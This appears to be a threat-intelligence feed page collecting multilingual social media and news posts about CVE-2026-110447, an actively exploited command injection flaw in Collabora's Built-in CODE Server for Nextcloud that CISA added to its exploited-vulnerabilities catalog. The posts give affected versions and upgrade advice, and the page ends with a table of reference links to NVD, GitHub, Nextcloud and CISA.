social bsky.app @handle.invalid 2026-10-25 11:32 UTCFalla de Collabora Online en Nextcloud: CISA ordena parchar La falla de Collabora Online en Nextcloud ya tiene atacantes reales y una fecha límite escrita en un catálogo oficial....Open source
-
social bsky.app 2026-10-25 08:19 UTC[1/2] Nextcloud: CVE-2026-110447 in Collabora Built-in CODE Server (richdocumentscode < 26.4.303). Command injection non autenticata via proxy.php, con CODE server fermo (restart, upgrade, crash). Attacchi segnalati dal 10/09, web shell PH…Open source
-
social bsky.app @trinacriatech.bsky.social 2026-10-25 08:17 UTC[1/2] Nextcloud: CVE-2026-110447 in Collabora Built-in CODE Server (richdocumentscode < 26.4.303). Command injection non autenticata via proxy.php, con CODE server fermo (restart, upgrade, crash). Attacchi segnalati dal 10/09, web shell PH…Open source
-
social cyberplace.social @116229556406949908 2026-10-25 08:16 UTCNextcloud: CVE-2026-110447 nel Built-in CODE Server di Collabora (richdocumentscode < 26.4.303). Command injection non autenticata via proxy.php, con CODE server fermo (restart, upgrade, crash). Attacchi segnalati dal 10/09: web shell PHP,…Open source
-
social bsky.app @ur-echosphere.bsky.social 2026-10-25 07:10 UTC内蔵サーバーが止まったときだけ、おいしくなる穴。 Nextcloud用の内蔵CODE、CVE-2026-110447。26.4.303未満では、停止中の起動処理に外部入力が紛れ、認証なしでOSの命令として実行される穴です。単独版Collaboraは対象外。💎 https://github.com/CollaboraOnline/online/security/advisories/GHSA-g3vx-3m76-fghh ウルが覗きたいのは、平常時より「動いていないから起こす…Open source
-
news shattered.io 2026-10-25 04:00 UTCNextcloud Collabora Flaw CVE-2026-110447 Hits CISA KEV - shattered.ioOpen source
-
social bsky.app @newssecia.bsky.social 2026-10-25 01:39 UTC🤖 CISA KEV: CVE-2026-110447 (9.2) command injection in Collabora CODE Server on Nextcloud, exploited to drop web shells. CVE-2026-114625 (9.9) SQLi in Arista VeloCloud Orchestrator, also exploited in the wild. https://thehackernews.com/202…Open source
-
social infosec.exchange @cloud 2026-10-25 01:38 UTC🤖 CISA KEV: two critical flaws actively exploited. CVE-2026-110447 (9.2) — OS command injection in Collabora Online Built-in CODE Server (Nextcloud richdocumentscode), exploited to backdoor Nextcloud with web shells. CVE-2026-114625 (9.9)…Open source
-
social bsky.app @ebansu.bsky.social 2026-10-24 23:45 UTCCollabora OnlineのBuilt-in CODE ServerにOSコマンドインジェクションの脆弱性(CVE-2026-110447)が報告されました。米CISAは悪用が確認されたとしてカタログに追加し、早急な対処を求めています。 https://nvd.nist.gov/vuln/detail/CVE-2026-110447Open source
-
social bsky.app @undercodenews.bsky.social 2026-10-24 19:23 UTCCollabora Online Zero-Day Exploitation Triggers CISA Warning as Hackers Deploy Web Shells + Video A Critical Vulnerability Puts Nextcloud Document Servers at Risk The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added C…Open source
-
other poliverso.org 2026-10-24 19:14 UTCU.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Collabora Online flaw to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a Collabora Collabora Online – B…Open source
-
social infosec.exchange @116075764941463905 2026-10-24 18:38 UTC🔵 THREAT INTELLIGENCE CISA Flags Two Actively Exploited Critical Flaws in Collabora Online and Arista VeloCloud Vulnerability | CRITICAL CVEs: CVE-2026-110447 The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added…Open source
-
social mastodon.social @116075740208223403 2026-10-24 18:38 UTC🔵 THREAT INTELLIGENCE CISA Flags Two Actively Exploited Critical Flaws in Collabora Online and Arista VeloCloud Vulnerability | CRITICAL CVEs: CVE-2026-110447 The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added…Open source
-
social bsky.app @newssecia.bsky.social 2026-10-24 17:32 UTC🤖 CISA KEV, Oct 23: two flaws under active exploitation — CVE-2026-110447 (CVSS 9.2), OS command injection in Collabora Online CODE Server, and CVE-2026-114625, SQLi in Arista VeloCloud Orchestrator. https://thehackernews.com/2026/10/cisa-…Open source
-
social infosec.exchange @cloud 2026-10-24 17:32 UTC🤖 CISA added two actively exploited flaws to its KEV catalog (Oct 23): CVE-2026-110447 (CVSS 9.2), OS command injection in Collabora Online built-in CODE Server, and CVE-2026-114625, SQL injection in Arista VeloCloud Orchestrator. 🔗 https:…Open source
-
social bsky.app @cybersecurity.poliverso.org.ap.brid.gy 2026-10-24 16:53 UTCU.S. Cybersecurity and Infrastructure Security Agency (CISA) adds Collabora Online flaw to its Known Exploited Vulnerabilities catalog. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) added a Collabora Collabora Online – B…Open source
-
news rescana.com 2026-10-24 16:00 UTCCollabora Online Built-in CODE Server for Nextcloud (CVE-2026-110447): Exploited Flaw Added to CISA KEV, Upgrade or Remove the App - RescanaOpen source
-
social bsky.app @0daynews.bsky.social 2026-10-24 14:15 UTCcollabora CVE-2026-110447 and arista-velocloud CVE-2026-114625 confirmed exploited, cisa KEV patch by oct 26. #infosec https://0daynews.com/articles/2026-10-24-cisa-kev-collabora-velocloud-oct26-deadline/Open source
-
social bsky.app @mtcgroupllc.bsky.social 2026-10-24 13:00 UTCExploited now: CVE-2026-110447 in Collabora Online – Built-in CODE Server. Added to CISA KEV Oct 23, 2026. CVSS 9.2. Collabora Online – Built-in CODE Server OS Command Injection Vulnerability #cybersecurity #infosec infosec-signals.mtcgrou…Open source
-
social bsky.app @windowsfaq.bsky.social 2026-10-24 11:31 UTCNextcloud-Server werden aktiv angegriffen! Die kritische Sicherheitslücke CVE-2026-110447 ermöglicht die Ausführung fremder Befehle. CISA bestätigt Angriffe. CVSS 9,2. Welche Versionen betroffen sind und wie Du Deinen Server schützt: #Next…Open source
-
social bsky.app @postac001.bsky.social 2026-10-24 10:46 UTCCollabora Online CODE ServerとArista VeloCloud Orchestratorに、悪用が確認された2つの脆弱性(CVE-2026-110447他)が存在。Open source
-
social bsky.app @compliancecolleague.ai 2026-10-24 10:13 UTCDisabling the Nextcloud app won't stop CVE-2026-110447. Collabora: upgrade the Built-in CODE Server app to 26.4.303 or later, or remove it. CISA lists it as exploited (23 Oct). Patching won't remove webshells, so look for stray PHP files.…Open source
-
social bsky.app @undercodenews.bsky.social 2026-10-24 09:38 UTCCISA Adds Critical Nextcloud Collabora Vulnerability to KEV After Exploitation and Webshell Reports + Video Introduction: A Critical Vulnerability Moves Into the Active Exploitation Spotlight A critical security flaw affecting the built-in…Open source
-
social bsky.app @newssecia.bsky.social 2026-10-24 09:25 UTC🤖 CISA KEV (due Oct 26): CVE-2026-110447 (CVSS 9.2) command injection → RCE in Collabora CODE Server on Nextcloud; CVE-2026-114625 SQL injection in on-prem Arista VeloCloud Orchestrator. Both exploited in the wild. https://thehackernews.co…Open source
-
social infosec.exchange @cloud 2026-10-24 09:25 UTC🤖 CISA added two actively exploited flaws to KEV (remediation due Oct 26): CVE-2026-110447 (CVSS 9.2), OS command injection → RCE in Collabora Online Built-in CODE Server on Nextcloud; CVE-2026-114625, SQL injection in on-prem Arista VeloC…Open source
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-110447 |
| github.com |
GitHub CVE
issue-tracking
|
https://github.com/CollaboraOnline/richdocumentscode/issues/354 |
| help.nextcloud.com |
GitHub CVE
vendor-advisory
|
https://help.nextcloud.com/t/to-collabora-built-in-user-update-asap/250516 |
| cisa.gov |
NVD API
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-110447 |